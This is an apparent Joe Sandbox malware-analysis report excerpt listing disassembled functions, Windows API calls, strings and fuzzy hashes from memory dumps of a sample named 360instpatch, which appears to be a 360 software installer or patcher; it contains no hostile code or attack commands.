Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_
String ID: [%d.] CheckFile Start $[%d.] CheckFile p2s Start $[%d.] Rename start $[%d.]No CheckFileMsg FileSize:%I64d
API String ID: 2427045233-3735358712
Opcode ID: a03d823757131728f84aec08414fbdac001eef440d4370987d5b61908922857e
Instruction ID: f61ad340289d2218da4d0e3fe3d9ae5b936c9646fa13b9e7ffed698965b3d320
Opcode Fuzzy Hash: a03d823757131728f84aec08414fbdac001eef440d4370987d5b61908922857e
Instruction Fuzzy Hash: CF313B73A00E019FC7609FB988B1C5FB3E2AB95304B10856DD45A532B0EF3D9846E761

Function 00B928D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B22750: _vswprintf_s.LIBCMT ref: 00B22783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000104,00000000), ref: 00B9291E
DeviceIoControl.KERNEL32 ref: 00B9296D
CloseHandle.KERNEL32(00000000), ref: 00B929BD

Strings

\\.\%s, xrefs: 00B928EE
%02X%02X%02X%02X%02X%02X, xrefs: 00B929A8

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_vswprintf_s
String ID: %02X%02X%02X%02X%02X%02X$\\.\%s
API String ID: 2864800763-1525991222
Opcode ID: 6155e06bc91ebb16d4f42dc629be8e51e0e8c9f8df210b1c98e6b2f4c8752ad0
Instruction ID: badd43a2d68bb1adb2b90a7279fb06b12022c075b3ed129aca8894df395fe0cf
Opcode Fuzzy Hash: 6155e06bc91ebb16d4f42dc629be8e51e0e8c9f8df210b1c98e6b2f4c8752ad0
Instruction Fuzzy Hash: 3921E5B15083506FD724EB64DC85FFBB7ECEB8C704F40496DB6E883190D67899048762

Function 00B4869E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B486BD
_memset.LIBCMT ref: 00B486F8
GetClassNameW.USER32(?,00000000,00000104), ref: 00B4870B

Part of subcall function 00B27FA1: __wcsicoll.LIBCMT ref: 00B27FB9

IsDialogMessageW.USER32(?,?), ref: 00B48757

Strings

EDIT, xrefs: 00B48727

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ClassDialogH_prolog3MessageName__wcsicoll_memset
String ID: EDIT
API String ID: 858151411-3080729518
Opcode ID: b926175a2dc70379aeaaa497ad1a72600a45f2d69f32960420a154c2524dba8e
Instruction ID: e419ad52d3056215509f7c92a8362e48ba3563dcb2539713207264a47652c3dc
Opcode Fuzzy Hash: b926175a2dc70379aeaaa497ad1a72600a45f2d69f32960420a154c2524dba8e
Instruction Fuzzy Hash: F821D1759002189BDF24EF64DC55ABEB3E4EF14710F10496AE82AD7291DF30AE44DB10

Function 6BEEC462 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000000,00000000,00000003,00000080,00000000,?,?,6BEECDEF,?), ref: 6BEEC48D
GetLastError.KERNEL32(?,?,6BEECDEF,?), ref: 6BEEC4A4
CloseHandle.KERNEL32(00000000,?,?,6BEECDEF,?), ref: 6BEEC499

Part of subcall function 6BF2405E: _memset.LIBCMT ref: 6BF24091
Part of subcall function 6BF2405E: wvnsprintfW.SHLWAPI(?,000003FF,6BFCC288,6BF0E1F9), ref: 6BF240AC

Strings

exception raised in method CFileMgr::IsFileExisting, parameter pFileName can not be null, xrefs: 6BEEC471
IsFileExisting Error = %d, xrefs: 6BEEC4D5

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_memsetwvnsprintf
String ID: IsFileExisting Error = %d$exception raised in method CFileMgr::IsFileExisting, parameter pFileName can not be null
API String ID: 162527170-4251026172
Opcode ID: 29ae752743a7f347728abb65440336fbf29fcb16b52b5fa172672504de6e4767
Instruction ID: 4bcf6394b00bd34253693e3b8fdf5fb3d80c627bdd10a2b6b4a31958f87920c3
Opcode Fuzzy Hash: 29ae752743a7f347728abb65440336fbf29fcb16b52b5fa172672504de6e4767
Instruction Fuzzy Hash: D40162332041106DDA711AA95C89B3F3E78DB4766CF724997F076D53A0D52CC4A784B2

Function 6BF01914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF0191B
GetTickCount.KERNEL32 ref: 6BF01926
GetTickCount.KERNEL32 ref: 6BF01930
GetTickCount.KERNEL32 ref: 6BF01940

Part of subcall function 6BF23FED: _memset.LIBCMT ref: 6BF24020
Part of subcall function 6BF23FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 6BF2403B

Strings

[P2SP_DetectIEProxySetting] cost %d ms, xrefs: 6BF0194E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$H_prolog3_memsetwvnsprintf
String ID: [P2SP_DetectIEProxySetting] cost %d ms
API String ID: 876511985-3580160709
Opcode ID: 1fbecc869d5a9f7df51001190ba7d38d962bb80a1deafa31b23998382b8d69ba
Instruction ID: 99cfa55bc6fa08f801b63107b393ba7ee7ea5fc137a9677930a8238375e06d6a
Opcode Fuzzy Hash: 1fbecc869d5a9f7df51001190ba7d38d962bb80a1deafa31b23998382b8d69ba
Instruction Fuzzy Hash: 94E06D73D1022A5BCF409BF49C057AE3AB1AB40369F590466E404F7161EB7D9E448BA2

Function 6BEF789B Relevance: 7.6, APIs: 5, Instructions: 76registrymemoryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(?,?,00000000,6BF61038,00000000,00000001,00000000,?,?), ref: 6BEF78C9
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?), ref: 6BEF78EB
GlobalAlloc.KERNEL32(00000040,00000000,?,?,?), ref: 6BEF7900
GetLastError.KERNEL32(?,?,?), ref: 6BEF790D
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,?,?,?,?), ref: 6BEF7931

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: QueryValue$AllocCreateErrorGlobalLast
String ID:
API String ID: 2249321745-0
Opcode ID: 1b3343a607ddba5b1bd6c05600e7ee26539141f11ddf9e8d5e4b8b733d02820f
Instruction ID: 6acaa090c9bbfbd62feefa41fead582712434051f3889be30823cd0384e7fb25
Opcode Fuzzy Hash: 1b3343a607ddba5b1bd6c05600e7ee26539141f11ddf9e8d5e4b8b733d02820f
Instruction Fuzzy Hash: B9218E72600644EFDB228F59CC88E577BBDFB86B64720885DF592C6210D335D825CB70

Function 00B7A52B Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00B7A58E
SelectObject.GDI32(00000000,?), ref: 00B7A5B9
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,00CC0020), ref: 00B7A5D6
SelectObject.GDI32(00000000,00000000), ref: 00B7A5DE
DeleteDC.GDI32(00000000), ref: 00B7A5F3

Part of subcall function 00B7A29F: GdipDrawImageRectI.GDIPLUS(?,00000000,?,?,?,?,?,?,00B7FC56,?,?,?,00000000,?,?), ref: 00B7A2C2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteDrawGdipImageRect
String ID:
API String ID: 240731188-0
Opcode ID: 209c4f06a9961b5a1b68ffc7e7fe88cd72d8debd49daf0da9961c63bb6c9961a
Instruction ID: 63972b75a3a3ab9c72063bd724fccb1adf06319bc1622c5a381c395d68b8649c
Opcode Fuzzy Hash: 209c4f06a9961b5a1b68ffc7e7fe88cd72d8debd49daf0da9961c63bb6c9961a
Instruction Fuzzy Hash: EF21FA71500109EBDF11AF90CD81EAE7BB6FF94300F108495F925A21A1EB71EA65EB91

Function 6BF303E4 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF30418
inet_addr.WS2_32(?), ref: 6BF30428
WSAAsyncGetHostByName.WS2_32(00000000,00000401,?,00000000,00000400), ref: 6BF3045C
WSASetLastError.WS2_32(00002733), ref: 6BF3046F

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AsyncErrorHostLastName_memsetinet_addr
String ID:
API String ID: 1704644561-0
Opcode ID: 6a932306e515564a1cd2b8927cd565f3c8d16e5b4a940b6c3e6e6922829120a9
Instruction ID: d60273270756fc5117e6cb5b2a9286438f4c11b968d55b0242af358aa3a14c6a
Opcode Fuzzy Hash: 6a932306e515564a1cd2b8927cd565f3c8d16e5b4a940b6c3e6e6922829120a9
Instruction Fuzzy Hash: CE21D172A00315ABEB00DF74D845FAE77B8AF49714F10456AF506E72A1D7B8DA0087A0

Function 00B7E037 Relevance: 7.6, APIs: 5, Instructions: 52fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B7E069
GetTempPathW.KERNEL32(00000104,?,00BFCDA4,?,?), ref: 00B7E07D
_memset.LIBCMT ref: 00B7E08D
GetTempFileNameW.KERNEL32(?,00B485B6,00000000,?,?,?,?,?,?,?), ref: 00B7E0A6
DeleteFileW.KERNEL32(?,?,?,?,?,?,?), ref: 00B7E0B3

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FileTemp_memset$DeleteNamePath
String ID:
API String ID: 433304728-0
Opcode ID: 76f20b2b36caa586338884c0a258755f783d72705dbb5735277daa188febd28d
Instruction ID: d153da0b6015d0c0c9660cdd9a6ed5605bfba5fad38f71d4019ccefb99aa3e40
Opcode Fuzzy Hash: 76f20b2b36caa586338884c0a258755f783d72705dbb5735277daa188febd28d
Instruction Fuzzy Hash: 181165F6A0121CABCB10DB94EC49FDE73BCAB48704F1040F5B615E3141DA74AB848BA5

Function 6BF274A3 Relevance: 7.5, APIs: 5, Instructions: 47registrysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,74DF23A0,?,?,6BF05E2D), ref: 6BF274BC
ResetEvent.KERNEL32(?,?,?,6BF05E2D), ref: 6BF274C4
RegNotifyChangeKeyValue.KERNEL32(?,00000000,00000004,?,00000001,?,?,6BF05E2D), ref: 6BF274F9

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ChangeEventNotifyObjectResetSingleValueWait
String ID:
API String ID: 1286042878-0
Opcode ID: 4c23344a902864f5ac683d3624a9d240a3f69d7b139e616bbd8be579a2d1e648
Instruction ID: 3d813eac21dc71d29a5c996d86adb658b79e0ada74ee5c83c377cd2eb3b083dd
Opcode Fuzzy Hash: 4c23344a902864f5ac683d3624a9d240a3f69d7b139e616bbd8be579a2d1e648
Instruction Fuzzy Hash: 42018173654202EFEB211FE5CC84E17BBE9EB49798B000869F292D1070D376EC449B20

Function 00B949FC Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00B94A1A

Part of subcall function 00BA339F: __mtinitlocknum.LIBCMT ref: 00BA33B5
Part of subcall function 00BA339F: __amsg_exit.LIBCMT ref: 00BA33C1
Part of subcall function 00BA339F: EnterCriticalSection.KERNEL32(?,?,?,00BA4EDB,0000000D,00BEEFE8,00000008,00B9EA68,?,00000000), ref: 00BA33C9

___sbh_find_block.LIBCMT ref: 00B94A25
___sbh_free_block.LIBCMT ref: 00B94A34
RtlFreeHeap.NTDLL(00000000,?,00BEE890,0000000C,00BA4E21,00000000,?,00BA05A7,?,00000001,?,?,00BA3329,00000018,00BEEF60,0000000C), ref: 00B94A64
GetLastError.KERNEL32(?,00BA05A7,?,00000001,?,?,00BA3329,00000018,00BEEF60,0000000C,00BA33BA,?,?,?,00BA4EDB,0000000D), ref: 00B94A75

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 0446f59fb9a41624d65711bd01f3e0ad65129e8df411cd8b2dd37f52b5f1ee8f
Instruction ID: 3a60b57916ef9aabd23db26c9ea1a46cd47a46aaac7b434ebc06aae5760d8a61
Opcode Fuzzy Hash: 0446f59fb9a41624d65711bd01f3e0ad65129e8df411cd8b2dd37f52b5f1ee8f
Instruction Fuzzy Hash: 5C016231945305AADF206BB09D1AF5D3BE4EF01761F1445E9F51467191DF3489418A98

Function 6BEF640D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6BEF6414

Part of subcall function 6BEF313B: __EH_prolog3_GS.LIBCMT ref: 6BEF3142

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

_memset.LIBCMT ref: 6BEF6452

Strings

[%d] Proxy = %d, xrefs: 6BEF6544
[%d] Proxy0 = %d, xrefs: 6BEF64C6

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_$_malloc_memset
String ID: [%d] Proxy = %d$[%d] Proxy0 = %d
API String ID: 4091186113-2032588536
Opcode ID: 99b2765e7563a5a74320cc8321f9ea566f788f6de8529a1259953cfc4d07b273
Instruction ID: 9b4661ec897887fbe91ae3cb2f05b983e43b81fc7ca7e056a364fbc9595dc005
Opcode Fuzzy Hash: 99b2765e7563a5a74320cc8321f9ea566f788f6de8529a1259953cfc4d07b273
Instruction Fuzzy Hash: 2C419077901605BFCB15CFB8C841EEAB7BAFF48304F048A09F156A7150EB3A35248BA1

Function 00B86894 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B8689E
_memcmp.LIBCMT ref: 00B8694B
_memset.LIBCMT ref: 00B86964

Strings

[360signdata]sign=, xrefs: 00B86945

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3__memcmp_memset
String ID: [360signdata]sign=
API String ID: 1379577869-1737267629
Opcode ID: 82c41c0a089fd45705a6d7bc726326a67bede19d053740032a07087b146197bd
Instruction ID: 02fd9c38435ce6e3de282fa391d87c9e4fe6355a37c1796010f1ccfa616843d7
Opcode Fuzzy Hash: 82c41c0a089fd45705a6d7bc726326a67bede19d053740032a07087b146197bd
Instruction Fuzzy Hash: DC416E719046189ACB24FA60CC81BEEB3E8EF14315F5445EAE50AA71E1F774AE84CF50

Function 6BF329C9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF329D0
GetTickCount.KERNEL32 ref: 6BF329D7

Part of subcall function 6BF23F7C: _memset.LIBCMT ref: 6BF23FAF
Part of subcall function 6BF23F7C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF23FCA

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

Strings

Stun Begining, xrefs: 6BF329DD
st.p.360.cn, xrefs: 6BF32ADF

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountH_prolog3Tick_malloc_memsetwvnsprintf
String ID: Stun Begining$st.p.360.cn
API String ID: 1577093084-2775616079
Opcode ID: 881596f376f10f8590526522980eb2d210f05223f92e6d29618f86574aec623f
Instruction ID: 88f1b79a6e89634536f4749ab2288c91b69574440c4dc43ab9ad44ed7dec9941
Opcode Fuzzy Hash: 881596f376f10f8590526522980eb2d210f05223f92e6d29618f86574aec623f
Instruction Fuzzy Hash: 0831C473A047629FDF74DFB48891A5EB7E0AF01708B10886DD1A6875B0DB7E9580CBD1

Function 00B48544 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B4854B

Part of subcall function 00B95546: _malloc.LIBCMT ref: 00B95560

Part of subcall function 00B2A8EB: _wcsnlen.LIBCMT ref: 00B2A91D

Part of subcall function 00B7E037: _memset.LIBCMT ref: 00B7E069
Part of subcall function 00B7E037: GetTempPathW.KERNEL32(00000104,?,00BFCDA4,?,?), ref: 00B7E07D
Part of subcall function 00B7E037: _memset.LIBCMT ref: 00B7E08D
Part of subcall function 00B7E037: GetTempFileNameW.KERNEL32(?,00B485B6,00000000,?,?,?,?,?,?,?), ref: 00B7E0A6
Part of subcall function 00B7E037: DeleteFileW.KERNEL32(?,?,?,?,?,?,?), ref: 00B7E0B3

GetTickCount.KERNEL32 ref: 00B485F7

Strings

!@tmpini%^&, xrefs: 00B485AB
?rd=%d, xrefs: 00B4858B

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FileTemp_memset$CountDeleteH_prolog3NamePathTick_malloc_wcsnlen
